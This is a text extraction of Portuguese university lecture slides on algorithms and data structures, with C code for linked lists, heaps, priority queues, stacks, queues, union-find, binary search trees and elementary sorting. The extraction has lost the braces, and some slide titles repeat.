Exemplo: crivo de Eratóstenes
#define N 1000main() int i,j,a[N];for (i=2;i<N;i++) a[i] = 1;for (i=2;i<N;i++)if (a[i])
for(j=i; i*j<N; j++)a[i*j] = 0;
for (i=2; i<N; i++)if (a[i]) printf("%4d",i);
printf("\n");
AED 2003/2004 – p.353/554
Exemplo: simulação de moedas ao ar
#include <stdlib.h>
int heads()
return rand() < RAND_MAX/2;
main(int argc, char *argv[])
int i, j, cnt;
int N = atoi(argv[1]), M = atoi(argv[2]);
int *f = malloc((N+1)*sizeof(int));
for (j = 0; j <= N; j++) f[j] = 0;
for (i = 0; i < M; i++, f[cnt]++)
for (cnt = 0, j = 0; j <= N; j++)
if (heads()) cnt++;
for (j = 0; j <= N; j++)
printf("%2d ", j);
for (i = 0; i < f[j]; i+=10) printf("*");
printf("\n");
AED 2003/2004 – p.354/554
Listas simplesmente ligadas
Conjunto de nós
Cada nó contémInformação útilPonteiro para outro nó
typedef struct node *link;struct node Item item; link next;;
AED 2003/2004 – p.355/554
Apagamento em listas
x
t
x
t
t = x−>next;
x−>next = t−>next;
AED 2003/2004 – p.356/554
Inserção em listas
t
x
x
x
t
t−>next = x−>next;
x−>next = t;
AED 2003/2004 – p.357/554
Inversão de lista
link reverse(link x)
link t, y = x, r = NULL;
while (y != NULL)
t = y->next; y->next = r; r = y; y = t;
return r;
AED 2003/2004 – p.358/554
Insertion sort – Versão 1
static int *vect;
void init()
int i;
vect = (int*) malloc(N*sizeof(int));
for (i=0; i<N; i++)
vect[i] = rand() % M;
void print()
int i;
printf("[ ");
for (i=0; i<N; i++)
printf("%d ", vect[i]);
printf("]\n");
AED 2003/2004 – p.359/554
Insertion sort – Versão 1
void isort() /* Utiliza tabela */
int i, j;
for (i=1; i<N; i++)
int key = vect[i];
j = i-1;
while (j>=0 && vect[j] > key)
vect[j+1] = vect[j];
j--;
vect[j+1] = key;
AED 2003/2004 – p.360/554
Insertion sort – Versão 2
typedef int Item;
typedef struct node *link;
struct node Item item; link next; ;
static struct node *head;
void init()
int i;
link pt, pv;
head = NULL;
for (i = 0; i < N; i++)
pt = malloc(sizeof *pt);
pt->next = NULL;
pt->item = rand() % M;
if (!head) head = pt;
else pv->next = pt;
pv = pt;
AED 2003/2004 – p.361/554
Insertion sort – Versão 2
void isort() /* Utiliza lista */
link pa, pb, px, py, pz;
for (px = head->next, py = head; px != NULL; px = pz)
py->next = px->next;
pz = px->next;
for (pb=head, pa=pb; pb!=pz; pa=pb, pb=pb->next)
if (pb->item > px->item)
break;
if (pa == pb) head = px;
else pa->next = px;
px->next = pb;
if (pb == pz) py = px;
AED 2003/2004 – p.362/554
Insertion sort – Versão 3
typedef int Item;
typedef struct node *link;
struct node Item item; link next; ;
static struct node *heada, *headb;
void init()
int i;
link t, u, a;
heada = (link) malloc(sizeof(*heada));
headb = (link) malloc(sizeof(*headb));
a = heada;
for (i = 0, t = a; i < N; i++)
t->next = malloc(sizeof *t);
t = t->next; t->next = NULL;
t->item = rand() % M;
AED 2003/2004 – p.363/554
Insertion sort – Versão 3
void isort() /* Utiliza lista com sentinela */
link t, u, x, b;
b = headb; b->next = NULL;
for (t = heada->next; t != NULL; t = u)
u = t->next;
for (x = b; x->next != NULL; x = x->next)
if (x->next->item > t->item) break;
t->next = x->next; x->next = t;
heada->next = headb->next;
headb->next = NULL;
AED 2003/2004 – p.364/554
Lista Duplamente Ligada
struct iitem
int value;
struct iitem *next;
struct iitem *prev;
;
typedef struct iitem IntItem;
typedef IntItem* IntItemPtr;
static IntItemPtr first = NULL;
static IntItemPtr last = NULL;
static IntItemPtr alloc_item()
return (IntItemPtr) malloc(sizeof(IntItem));
AED 2003/2004 – p.365/554
Lista Duplamente Ligada
void init()
first = alloc_item();
last = alloc_item();
first->next = last;
first->prev = NULL;
last->next = NULL;
last->prev = first;
AED 2003/2004 – p.366/554
Lista Duplamente Ligada
int insert(int value)
IntItemPtr px, nitem;
for (px = first->next; px != last && px->value < value; px = px->next)
;
if (px != last && px->value == value)
return 0; /* no duplicates */
nitem = alloc_item();
nitem->value = value;
px->prev->next = nitem;
nitem->prev = px->prev;
nitem->next = px;
px->prev = nitem;
return 1;
AED 2003/2004 – p.367/554
Lista Duplamente Ligada
int delete(int value)
IntItemPtr px;
for (px = first->next; px != last && px->value < value; px = px->next)
;
if (px && px->value == value)
px->prev->next = px->next;
px->next->prev = px->prev;
free(px);
return 1;
return 0;
AED 2003/2004 – p.368/554
Lista Duplamente Ligada
void delete_list()
IntItemPtr px;
while (px = first)
first = first->next;
free(px);
first = last = NULL;
void print_list()
IntItemPtr px;
printf("[ ");
for (px = first->next; px != last; px = px->next)
printf("%d ", px->value);
printf("]\n");
AED 2003/2004 – p.369/554
Interface para processamento de listas
#include <stdlib.h>
#include "list.h"
link freelist;
void initNodes(int N)
int i;
freelist = malloc((N+1)*(sizeof *freelist));
for (i = 0; i < N+1; i++)
freelist[i].next = &freelist[i+1];
freelist[N].next = NULL;
link newNode(int i)
link x = deleteNext(freelist);
x->item = i; x->next = x;
return x;
AED 2003/2004 – p.370/554
Interface para processamento de listas
void freeNode(link x)
insertNext(freelist, x);
void insertNext(link x, link t)
t->next = x->next; x->next = t;
link deleteNext(link x)
link t = x->next; x->next = t->next; return t;
link Next(link x)
return x->next;
int Item(link x)
return x->item;
AED 2003/2004 – p.371/554
Amontoados
Uma árvore está heap-ordered se a chave de cada nófor maior ou igual às chaves dos seus filhos
X
T O
G S M N
A E R A I
Nenhum nó tem uma chave superior à raíz
Uma árvore binária é completa se apenas o último nívelestiver incompleto, e faltarem apenas os nós mais àdireita. AED 2003/2004 – p.372/554
Amontoados
X
T O
G S M N
A E R A I
1 2 3 4 5 6 7 8 9 10 11 12X T O G S M N A E R A I
Parente do nó i é o nó bi/2cFilhos do nó i são os nós 2i e 2i + 1
AED 2003/2004 – p.373/554
Operações em amontoados: fixUp
Chamada quando a prioridade de um nó é aumentada
Nó tem de ser deslocado para cima
fixUp(Item a[], int k)while (k > 1 && less(a[k/2], a[k]))
exch(a[k], a[k/2]); k = k/2;
AED 2003/2004 – p.374/554
Operações em amontoados: fixDown
Chamada quando a prioridade de um nó é diminuída
Nó tem de ser deslocado para baixo, até ao último nívelou até que a prioridade do nó alterado seja maior queambos os filhos
fixDown(Item a[], int k, int N) int j;while (2*k <= N)
j = 2*k;if (j < N && less(a[j], a[j+1])) j++;if (!less(a[k], a[j])) break;exch(a[k], a[j]); k = j;
AED 2003/2004 – p.375/554
Fila de prioridades
#include <stdlib.h>
#include "Item.h"
static Item *pq;
static int N;
void PQinit(int maxN)
pq = malloc((maxN+1)*sizeof(Item)); N = 0;
int PQempty()
return N == 0;
void PQinsert(Item v)
pq[++N] = v; fixUp(pq, N);
Item PQdelmax()
exch(pq[1], pq[N]);
fixDown(pq, 1, N-1);
return pq[N--];
AED 2003/2004 – p.376/554
Ordenação com fila de prioridades
void PQsort(Item a[], int l, int r)
int k;
PQinit();
for (k = l; k <= r; k++) PQinsert(a[k]);
for (k = r; k >= l; k--) a[k] = PQdelmax();
AED 2003/2004 – p.377/554
Fila de prioridades com tabela
#include <stdlib.h>
#include "Item.h"
static Item *pq;
static int N;
void PQinit(int maxN)
pq = malloc(maxN*sizeof(Item)); N = 0;
int PQempty()
return N == 0;
void PQinsert(Item v)
pq[N++] = v;
Item PQdelmax()
int j, max = 0;
for (j = 1; j < N; j++)
if (less(pq[max], pq[j])) max = j;
exch(pq[max], pq[N-1]);
return pq[--N];
AED 2003/2004 – p.378/554
Heapsort
#define pq(A) a[l-1+A]
void heapsort(Item a[], int l, int r)
int k, N = r-l+1;
for (k = N/2; k >= 1; k--)
fixDown(&pq(0), k, N);
while (N > 1)
exch(pq(1), pq(N));
fixDown(&pq(0), 1, --N);
AED 2003/2004 – p.379/554
AED 2003/2004 – p.380/554
AED 2003/2004 – p.381/554
AED 2003/2004 – p.382/554
Parte X
Sedgewick, Cap. 4
AED 2003/2004 – p.383/554
Tipos Abstractos
Necessidade de tipos de dados abstractos
Objectos
Pilhas
Exemplos de clientes
ADTs para FIFOs e filas
ADTs para Union-Find
AED 2003/2004 – p.384/554
Tipos Abstractos
Necessidade de tipos de dados abstractos
Objectos
Pilhas
Exemplos de clientes
ADTs para FIFOs e filas
ADTs para Union-Find
AED 2003/2004 – p.384/554
Tipos Abstractos
Necessidade de tipos de dados abstractos
Objectos
Pilhas
Exemplos de clientes
ADTs para FIFOs e filas
ADTs para Union-Find
AED 2003/2004 – p.384/554
Tipos Abstractos
Necessidade de tipos de dados abstractos
Objectos
Pilhas
Exemplos de clientes
ADTs para FIFOs e filas
ADTs para Union-Find
AED 2003/2004 – p.384/554
Tipos Abstractos
Necessidade de tipos de dados abstractos
Objectos
Pilhas
Exemplos de clientes
ADTs para FIFOs e filas
ADTs para Union-Find
AED 2003/2004 – p.384/554
Tipos Abstractos
Necessidade de tipos de dados abstractos
Objectos
Pilhas
Exemplos de clientes
ADTs para FIFOs e filas
ADTs para Union-Find
AED 2003/2004 – p.384/554
Tipos Abstractos de Dados (ADT)
Mesmas estruturas (Pilhas, FIFOs, Listas) são usadascom muitos tipos de dados
Exemplo:Pilhas para inteirosTabela de dispersão para reaisAmontoados de estruturas
Mesmo código pode (e deve) ser utilizado
Funções de manipulação (e.g., ordenação) partilhadas
Código tem de ser independente do tipo de dados
Dados vistos como objectos, com interfaces claras
AED 2003/2004 – p.385/554
Exemplo de abstracção
ComparaçãoPara inteiros, operação x1 == x2
Para strings, operação !strcmp(x1,x2)
Solução:Para inteiros:
typedef int Item;#define eq(A,B) (A == B)
Para strings:typedef char* Item;#define eq(A,B) (!strcmp(A,B))
AED 2003/2004 – p.386/554
ADT e colecções de objectos
ADTs são úteis para manipular colecções de objectos
Operações típicas:Comparações entre objectosOperações de entrada e saída (leitura e escrita)Inserção em colecçõesApagamento de colecçõesAlteração de propriedades (e.g., prioridade)
ADTs deste tipo são denominados filas generalizadas
AED 2003/2004 – p.387/554
ADT Stack
Definição da interface
void STACKinit(int);int STACKempty();void STACKpush(Item);Item STACKpop();
AED 2003/2004 – p.388/554
Exemplo: Calculadora RPN
#include <stdio.h>
#include <string.h>
#include "Item.h" /* Item foi definido como int */
#include "STACK.h"
main(int argc, char *argv[])
char *a = argv[1]; int i, N = strlen(a);
STACKinit(N);
for (i = 0; i < N; i++)
if (a[i] == ’+’)
STACKpush(STACKpop()+STACKpop());
if (a[i] == ’*’)
STACKpush(STACKpop()*STACKpop());
if ((a[i] >= ’0’) && (a[i] <= ’9’))
STACKpush(0);
while ((a[i] >= ’0’) && (a[i] <= ’9’))
STACKpush(10*STACKpop() + (a[i++]-’0’));
printf("%d \n", STACKpop());
AED 2003/2004 – p.389/554
Exemplo: Conversão de Infix to Postfix
#include <stdio.h>
#include <string.h>
#include "Item.h" /* Item foi definido como char */
#include "STACK.h"
main(int argc, char *argv[])
char *a = argv[1]; int i, N = strlen(a);
STACKinit(N);
for (i = 0; i < N; i++)
if (a[i] == ’)’)
printf("%c ", STACKpop());
if ((a[i] == ’+’) || (a[i] == ’*’))
STACKpush(a[i]);
if ((a[i] >= ’0’) && (a[i] <= ’9’))
printf("%c ", a[i]);
printf("\n");
AED 2003/2004 – p.390/554
Implementação do stack com tabela
#include <stdlib.h>
#include "Item.h"
#include "STACK.h"
static Item *s;
static int N;
void STACKinit(int maxN)
s = malloc(maxN*sizeof(Item)); N = 0;
int STACKempty()
return N == 0;
void STACKpush(Item item)
s[N++] = item;
Item STACKpop()
return s[--N];
AED 2003/2004 – p.391/554
Implementação do stack com lista
#include <stdlib.h>
#include "Item.h"
typedef struct STACKnode* link;
struct STACKnode Item item; link next; ;
static link head;
link NEW(Item item, link next)
link x = malloc(sizeof *x);
x->item = item; x->next = next; return x;
void STACKinit(int maxN)
head = NULL;
int STACKempty()
return head == NULL;
STACKpush(Item item)
head = NEW(item, head);
Item STACKpop()
Item item = head->item;
link t = head->next;
free(head); head = t;
return item;
AED 2003/2004 – p.392/554
Projecto de ADTs
Três problemas separados:Definição da interfaceImplementação do ADTProjecto e implementação do cliente
Exemplo: Union-Find ADT
AED 2003/2004 – p.393/554
Interface do Union-Find
void UFinit(int);int UFfind(int, int);int UFunion(int, int);
AED 2003/2004 – p.394/554
Cliente do Union-Find: Conectividade
Lê pares de nós (ramos) de um grafo
Imprime apenas os pares que ainda não estão ligados
#include <stdio.h>
#include "UF.h"
main(int argc, char *argv[])
int p, q, N = atoi(argv[1]);
UFinit(N);
while (scanf("%d %d", &p, &q) == 2)
if (!UFfind(p, q))
UFunion(p, q);
printf(" %d %d\n", p, q);
AED 2003/2004 – p.395/554
Implementação do Union-Find
#include <stdlib.h>
#include "UF.h"
static int *id, *sz;
void UFinit(int N)
int i;
id = malloc(N*sizeof(int));
sz = malloc(N*sizeof(int));
for (i = 0; i < N; i++)
id[i] = i; sz[i] = 1;
static int find(int x)
int i = x;
while (i != id[i]) i = id[i]; return i;
int UFfind(int p, int q)
return (find(p) == find(q));
AED 2003/2004 – p.396/554
Implementação do Union-Find
int UFunion(int p, int q)
int i = find(p), j = find(q);
if (i == j) return;
if (sz[i] < sz[j])
id[i] = j; sz[j] += sz[i];
else id[j] = i; sz[i] += sz[j];
AED 2003/2004 – p.397/554
Vantagens do uso de ADTs
Solução elegante
Separa os problemas:Alto nível: conectividade num grafoBaixo nível: como manter as estruturas de dados
Permite comparar diferentes implementações
Permite re-utilizar o código
Alternativa (confusa): juntar tudo
AED 2003/2004 – p.398/554
Conectividade sem ADTs
Complexidade: O(MN), (M operações, N nós)#include <stdio.h>
#define N 10000
main()
int i, p, q, t, id[N];
for (i = 0; i < N; i++) id[i] = i;
while (scanf("%d %d\n", &p, &q) == 2)
if (id[p] == id[q]) continue;
for (t = id[p], i = 0; i < N; i++)
if (id[i] == t) id[i] = id[q];
printf(" %d %d\n", p, q);
AED 2003/2004 – p.399/554
Conectividade mais rápida
#include <stdio.h>
#define N 10000
main()
int i, p, q, t, id[N];
for (i = 0; i < N; i++) id[i] = i;
while (scanf("%d %d\n", &p, &q) == 2)
for (i = p; i != id[i]; i = id[i]) ;
for (j = q; j != id[j]; j = id[j]) ;
if (i == j) continue;
id[i] = j;
printf(" %d %d\n", p, q);
AED 2003/2004 – p.400/554
Weighted version
Complexidade: O(M log N), (M operações, N nós)#include <stdio.h>
#define N 10000
main()
int i, j, p, q, id[N], sz[N];
for (i = 0; i < N; i++)
id[i] = i; sz[i] = 1;
while (scanf("%d %d\n", &p, &q) == 2)
for (i = p; i != id[i]; i = id[i]) ;
for (j = q; j != id[j]; j = id[j]) ;
if (i == j) continue;
if (sz[i] < sz[j])
id[i] = j; sz[j] += sz[i];
else id[j] = i; sz[i] += sz[j];
printf(" %d %d\n", p, q);
AED 2003/2004 – p.401/554
Path compression
#include <stdio.h>
#define N 10000
main()
int i, j, p, q, id[N], sz[N];
for (i = 0; i < N; i++)
id[i] = i; sz[i] = 1;
while (scanf("%d %d\n", &p, &q) == 2)
for (i = p; i != id[i]; i = id[i])
int t = i; i = id[id[t]]; id[t] = i;
for (j = q; j != id[j]; j = id[j])
int t = j; j = id[id[t]]; id[t] = j;
if (i == j) continue;
if (sz[i] < sz[j])
id[i] = j; sz[j] += sz[i];
else id[j] = i; sz[i] += sz[j];
printf(" %d %d\n", p, q);
AED 2003/2004 – p.402/554
Interface do FIFO ADT
void QUEUEinit(int);int QUEUEempty();void QUEUEput(Item);Item QUEUEget();
AED 2003/2004 – p.403/554
Realização do FIFO ADT (listas)
#include <stdlib.h>
#include "Item.h"
#include "QUEUE.h"
typedef struct QUEUEnode* link;
struct QUEUEnode Item item; link next; ;
static link head, tail;
link NEW(Item item, link next)
link x = malloc(sizeof *x);
x->item = item; x->next = next;
return x;
void QUEUEinit(int maxN)
head = NULL;
int QUEUEempty()
return head == NULL;
AED 2003/2004 – p.404/554
Realização do FIFO ADT (listas)
QUEUEput(Item item)
if (head == NULL)
head = (tail = NEW(item, head)); return;
tail->next = NEW(item, tail->next);
tail = tail->next;
Item QUEUEget()
Item item = head->item;
link t = head->next;
free(head); head = t;
return item;
AED 2003/2004 – p.405/554
Realização do FIFO ADT (tabelas)
#include <stdlib.h>
#include "Item.h"
static Item *q;
static int N, head, tail;
void QUEUEinit(int maxN)
q = malloc((maxN+1)*sizeof(Item));
N = maxN+1; head = N; tail = 0;
int QUEUEempty()
return head % N == tail;
void QUEUEput(Item item)
q[tail++] = item; tail = tail % N;
Item QUEUEget()
head = head % N; return q[head++];
AED 2003/2004 – p.406/554
Interface do ADT Fila de Prioridade
void PQinit(int);int PQempty();void PQinsert(Item);Item PQdelmax();
AED 2003/2004 – p.407/554
Realização do ADT fila de prioridade
#include <stdlib.h>
#include "Item.h"
static Item *pq;
static int N;
void PQinit(int maxN)
pq = malloc((maxN+1)*sizeof(Item)); N = 0;
int PQempty()
return N == 0;
void PQinsert(Item v)
pq[++N] = v; fixUp(pq, N);
Item PQdelmax()
exch(pq[1], pq[N]);
fixDown(pq, 1, N-1);
return pq[N--];
AED 2003/2004 – p.408/554
Realização do ADT fila de prioridade
static void fixUp(Item a[], int k)
while (k > 1 && less(a[k/2], a[k]))
exch(a[k], a[k/2]); k = k/2;
static void fixDown(Item a[], int k, int N)
int j;
while (2*k <= N)
j = 2*k;
if (j < N && less(a[j], a[j+1])) j++;
if (!less(a[k], a[j])) break;
exch(a[k], a[j]); k = j;
AED 2003/2004 – p.409/554
ADTs de primeira ordem
Mais do que um ADT pode estar presente
Exemplo: múltiplas queues
typedef struct queue *Q;void QUEUEdump(Q);
Q QUEUEinit(int maxN);int QUEUEempty(Q);void QUEUEput(Q, Item);Item QUEUEget(Q);
AED 2003/2004 – p.410/554
Cliente de ADTs de primeira ordem
#include <stdio.h>
#include <stdlib.h>
#include "Item.h"
#include "QUEUE.h"
#define M 10
main(int argc, char *argv[])
int i, j, N = atoi(argv[1]);
Q queues[M];
for (i = 0; i < M; i++)
queues[i] = QUEUEinit(N);
for (i = 0; i < N; i++)
QUEUEput(queues[rand() % M], j);
for (i = 0; i < M; i++, printf("\n"))
for (j = 0; !QUEUEempty(queues[i]); j++)
printf("%3d ", QUEUEget(queues[i]));
AED 2003/2004 – p.411/554
Realização de ADTs de primeira ordem
#include <stdlib.h>
#include "Item.h"
#include "QUEUE.h"
typedef struct QUEUEnode* link;
struct QUEUEnode Item item; link next; ;
struct queue link head; link tail; ;
link NEW(Item item, link next)
link x = malloc(sizeof *x);
x->item = item; x->next = next;
return x;
Q QUEUEinit(int maxN)
Q q = malloc(sizeof *q);
q->head = NULL; q->tail = NULL;
return q;
int QUEUEempty(Q q)
return q->head == NULL;
AED 2003/2004 – p.412/554
Realização de ADTs de primeira ordem
void QUEUEput(Q q, Item item)
if (q->head == NULL)
q->tail = NEW(item, q->head)
q->head = q->tail; return;
q->tail->next = NEW(item, q->tail->next);
q->tail = q->tail->next;
Item QUEUEget(Q q)
Item item = q->head->item;
link t = q->head->next;
free(q->head); q->head = t;
return item;
AED 2003/2004 – p.413/554
Parte XI
Sedgewick, Cap. 5, 12, 13
AED 2003/2004 – p.414/554
Árvores Binárias
Estrutura de dados elementar
Métodos de travessia de árvores
Procura em árvores binárias
Manipulação eficiente
Exemplos de clientes
AED 2003/2004 – p.415/554
Árvores Binárias
Estrutura de dados elementar
Métodos de travessia de árvores
Procura em árvores binárias
Manipulação eficiente
Exemplos de clientes
AED 2003/2004 – p.415/554
Árvores Binárias
Estrutura de dados elementar
Métodos de travessia de árvores
Procura em árvores binárias
Manipulação eficiente
Exemplos de clientes
AED 2003/2004 – p.415/554
Árvores Binárias
Estrutura de dados elementar
Métodos de travessia de árvores
Procura em árvores binárias
Manipulação eficiente
Exemplos de clientes
AED 2003/2004 – p.415/554
Árvores Binárias
Estrutura de dados elementar
Métodos de travessia de árvores
Procura em árvores binárias
Manipulação eficiente
Exemplos de clientes
AED 2003/2004 – p.415/554
Travessia de Árvores em Pré-Order
Visita a raíz antes dos filhos
#include "Item.h"
typedef struct node
struct node *l;
struct node *r;
Item item;
*link;
void traverse(link h)
if (h == NULL) return;
visit(h);
traverse(h->l);
traverse(h->r);
AED 2003/2004 – p.416/554
Travessia de Árvores em In-Order
Visita a raíz depois do filho esquerdo e antes do direito
Exemplo de aplicação: imprime os nós ordenados
#include "Item.h"
typedef struct node
struct node *l;
struct node *r;
Item item;
*link;
void traverse(link h)
if (h == NULL) return;
traverse(h->l);
visit(h);
traverse(h->r);
AED 2003/2004 – p.417/554
Travessia de Árvores em Post-Order
Visita a raíz depois dos filhos
Exemplo de aplicação: avaliação de expressõesposfixadas
#include "Item.h"
typedef struct node
struct node *l;
struct node *r;
Item item;
*link;
void traverse(link h)
if (h == NULL) return;
traverse(h->l);
traverse(h->r);
visit(h);
AED 2003/2004 – p.418/554
Versão não Recursiva do Pré-Order
void traverse(link h)
STACKinit(max); STACKpush(h);
while (!STACKempty())
visit(h = STACKpop());
if (h->r != NULL) STACKpush(h->r);
if (h->l != NULL) STACKpush(h->l);
AED 2003/2004 – p.419/554
Algumas Operações em Árvores
Count: conta os nós da árvore
Height: conta a profundidade da árvore
int count(link h)
if (h == NULL) return 0;
return count(h->l) + count(h->r) + 1;
int height(link h)
int u, v;
if (h == NULL) return -1;
u = height(h->l); v = height(h->r);
if (u > v) return u+1; else return v+1;
AED 2003/2004 – p.420/554
Tabela de Símbolos
Inserção de um item
Procura por dada chave
Apagamento de um item
Aplicações:Tabelas de símbolosDicionários para tradução de termos
AED 2003/2004 – p.421/554
Tabela de Símbolos - ADT
#include "Item.h"
void STinit(int);
int STcount();
Item STsearch(Key v);
void STinsert(Item item);
Item STselect(int);
void STdelete(Item);
void STsort(void (*visit)());
AED 2003/2004 – p.422/554
Tabela de Símbolos - Exemplo Concretização
static Item *st;
static int M;
void STinit(int maxN) int i;
M = maxN; st = malloc((M+1)*sizeof(Item));
for (i = 0; i <= M; i++) st[i] = NULLitem;
int STcount() int i, n = 0;
for (i = 0; i < M; i++) if (st[i] != NULLitem) n++;
return n;
Item STsearch(Key v) return st[v];
void STinsert(Item item) st[key(item)] = item;
Item STselect(int k) int i;
for (i = 0; i < M; i++)
if (st[i] != NULLitem && k-- == 0)
return st[i];
void STdelete(Item) st[key(item)] = NULLitem;
void STsort(void (*visit)()) ...
AED 2003/2004 – p.423/554
Árvores de Procura Binárias (BST)
5
4
52
1
8
Nós na sub-árvore esquerda tem chaves menores ouiguais que a raíz
Nós na sub-árvore direita tem chaves maiores ou iguaisque a raíz
AED 2003/2004 – p.424/554
Pesquisa em Árvores
#include <stdlib.h>
#include "Item.h"
typedef struct STnode* link;
struct STnode Item item; link l, r; int N ;
static link head, z;
link NEW(Item item, link l, link r, int N)
link x = malloc(sizeof *x);
x->item = item; x->l = l; x->r = r; x->N = N;
return x;
void STinit()
head = (z = NEW(NULLitem, 0, 0, 0));
int STcount() return head->N;
Item searchR(link h, Key v)
Key t = key(h->item);
if (h == z) return NULLitem;
if eq(v, t) return h->item;
if less(v, t) return searchR(h->l, v);
else return searchR(h->r, v);
AED 2003/2004 – p.425/554
Pesquisa em Árvores
Item STsearch(Key v)
return searchR(head, v);
link insertR(link h, Item item)
Key v = key(item), t = key(h->item);
if (h == z) return NEW(item, z, z, 1);
if less(v, t)
h->l = insertR(h->l, item);
else h->r = insertR(h->r, item);
(h->N)++; return h;
void STinsert(Item item)
head = insertR(head, item);
AED 2003/2004 – p.426/554
Operações de rotação - esquerda
A
E
C S
R X
E
C
A S
R X
link rotL( link h)
link x = h->r;
h->r = x->l;
x->l = h;
x->l->N = x->l->r->N + x->l->l->N + 1;
x->N = x->l->N + x->r->N + 1;
return x;
AED 2003/2004 – p.427/554
Operações de rotação - direita
link rotR( link h)
link x = h->l;
h->l = x->r;
x->r = h;
x->r->N = x->r->r->N + x->r->l->N + 1;
x->N = x->l->N + x->r->N + 1;
return x;
AED 2003/2004 – p.428/554
Inserção na raíz
Insere novo nó numa folha
Usa rotações para colocar novo nó na raíz da árvore
link insertT(link h, Item item)
Key v = key(item);
if (h == z) return NEW(item, z, z, 1);
if (less(v, key(h->item)))
h->l = insertT(h->l, item); h = rotR(h);
else
h->r = insertT(h->r, item); h = rotL(h);
return h;
AED 2003/2004 – p.429/554
Selecção com árvores binárias
Selecciona a k’ésima chave
Item selectR(link h, int k)
int t = h->l->N;
if (h == z) return NULLitem;
if (t > k) return selectR(h->l, k);
if (t < k) return selectR(h->r, k-t-1);
return h->item;
Item STselect(int k)
return selectR(head, k);
AED 2003/2004 – p.430/554
Partição de Árvores Binárias
Selecciona a k’ésima chave e coloca-a na raíz
link partR(link h, int k)
int t = h->l->N;
if (t > k )
h->l = partR(h->l, k); h = rotR(h);
if (t < k )
h->r = partR(h->r, k-t-1); h = rotL(h);
return h;
AED 2003/2004 – p.431/554
Remoção de nós em Árvores Binárias
link joinLR(link a, link b)
if (b == z) return a;
b = partR(b, 0); b->l = a;
return b;
link deleteR(link h, Key v)
link x; Key t = key(h->item);
if (h == z) return z;
if (less(v, t)) h->l = deleteR(h->l, v);
if (less(t, v)) h->r = deleteR(h->r, v);
if (eq(v, t))
x = h; h = joinLR(h->l, h->r); free(x);
return h;
void STdelete(Key v)
head = deleteR(head, v);
AED 2003/2004 – p.432/554
Ordenação em Árvores Binárias
void sortR(link h, void (*visit)(Item))
if (h == z)
return;
sortR(h->l, visit);
visit(h->item);
sortR(h->r, visit);
void STsort(link h, void (*visit)(Item))
sortR(head, visit);
AED 2003/2004 – p.433/554
Pesquisas em BST
Geralmente eficient: O(log N)
No pior caso, O(n) para uma árvore desequilibrada:Ordem de inserção: 1,2,3,4,5,6,7,8
No caso de chaves aleatórias, O(log N)
Comparação com pesquisa binária em tabelas:Tempo de pesquisa comparávelTempo de inserção muito mais rápido
Tempo de pesquisa e inserção são O(N) no pior caso(árvore degenerada)
AED 2003/2004 – p.434/554
Árvores Binárias Equilibradas
Evitam o pior caso de O(N)
Algum overhead na construção
Alternativa:Requilibrar uma árvore, depois de construídaUsar aleatoriedadeUsar técnicas especiais de construção (Red-Blacktrees, etc)
AED 2003/2004 – p.435/554
Balanceamento de uma Árvore Binária
Equilibra uma árvore
Usa a operação de partição para colocar a mediana naraíz
link balanceR(link h)
if (h->N < 2) return h;
h = partR(h, h->N/2);
h->l = balanceR(h->l);
h->r = balanceR(h->r);
return h;
AED 2003/2004 – p.436/554
Uso de aleatoriedade
Se as chaves forem uniformemente distribuídas, umnovo nó fica na raíz com probabilidade 1/(1+N)
Quando se insere um nó, coloca-se na raíz comprobabilidade 1/(1+N)
link insertR(link h, Item item)
Key v = key(item), t = key(h->item);
if (h == z) return NEW(item, z, z, 1);
if (rand()< RAND_MAX/(h->N+1))
return insertT(h, item);
if less(v, t) h->l = insertR(h->l, item);
else h->r = insertR(h->r, item);
(h->N)++; return h;
void STinsert(Item item)
head = insertR(head, item);
AED 2003/2004 – p.437/554
Árvores Red-Blacklink RBinsert(link h, Item item, int sw)
Key v = key(item);
if (h == z) return NEW(item, z, z, 1, 1);
if ((hl->red) && (hr->red))
h->red = 1; hl->red = 0; hr->red = 0;
if (less(v, key(h->item)))
hl = RBinsert(hl, item, 0);
if (h->red && hl->red && sw) h = rotR(h);
if (hl->red && hll->red)
h = rotR(h); h->red = 0; hr->red = 1;
else
hr = RBinsert(hr, item, 1);
if (h->red && hr->red && !sw) h = rotL(h);
if (hr->red && hrr->red)
h = rotL(h); h->red = 0; hl->red = 1;
fixN(h); return h;
AED 2003/2004 – p.438/554
Árvores Red-Black
AED 2003/2004 – p.439/554
AED 2003/2004 – p.440/554
Parte XII
Sedgewick, Cap. 6
AED 2003/2004 – p.441/554
Algoritmos Elementares de Ordenação
Selection Sort
Insertion Sort
Bubble Sort
Shell Sort
Counting Sort
AED 2003/2004 – p.442/554
Porquê Estudar Algoritmos Elementares?
Razões de ordem práticaFáceis de codificar e por vezes suficienteRápidos/Eficientes para problemas de dimensãomedia e por vezes os melhores em certas situações
Razões pedagógicasBom exemplo para aprender terminologia e contextodos problemas de codificar e por vezes suficienteAlguns são fáceis de generalizar para algoritmosmais eficientes ou para melhorar o desempenho deoutros algoritmos
AED 2003/2004 – p.443/554
Nomenclatura [1]
Parâmetro de interesse - tempo de execução
regra - O(N2) para ordenar N itemsmas se N pequeno podem ser os melhores
Mas desempenho em memória também interessaordenação in-place
utilizando memória adicional
AED 2003/2004 – p.444/554
Nomenclatura [2]
Definicao: um algoritmo de ordenação é dito estável sepreserva a ordem relativa dos items com chavesrepetidasex: ordenar lista de alunos (já previamente ordenadapor nome) por ano de graduação
algoritmos elementares são normalmente estáveis,mas poucos algoritmos avançados o são
AED 2003/2004 – p.445/554
Nomenclatura [3]
Definicao: um algoritmo de ordenação é dito interno se oconjunto de todos os dados a ordenar couber emmemoria RAM; caso contrário é dito externo
Distinção muito importante:ordenação interna pode aceder a qualquer dadocom um custo muito pequenoordenação externa tem de aceder aos dados deforma sequencial (ou em blocos)
Estudo apenas de ordenação interna
AED 2003/2004 – p.446/554
Algoritmos de Sort – Definições
Itens ordenados por chave
Características específicas de cada item ou chave
No entanto cada algoritmo tem comportamento igual -usar abstrações
#define key(A) (A)
#define less(A, B) (key(A) < key(B))
#define exch(A, B) Item t = A; A = B; B = t;
#define compexch(A, B) if (less(B, A)) exch(A, B)
AED 2003/2004 – p.447/554
Algoritmos de Sort – Utilização
void sort(Item a[], int l, int r)
int i, j;
for (i = l+1; i <= r; i++)
for (j = i; j > l; j--)
compexch(a[j-1], a[j]);
main(int argc, char *argv[])
int i, N = atoi(argv[1]), sw = atoi(argv[2]);
int *a = malloc(N*sizeof(int));
if (sw)
for (i = 0; i < N; i++)
a[i] = 1000*(1.0*rand()/RAND_MAX);
else
while (scanf("%d", &a[N]) == 1) N++;
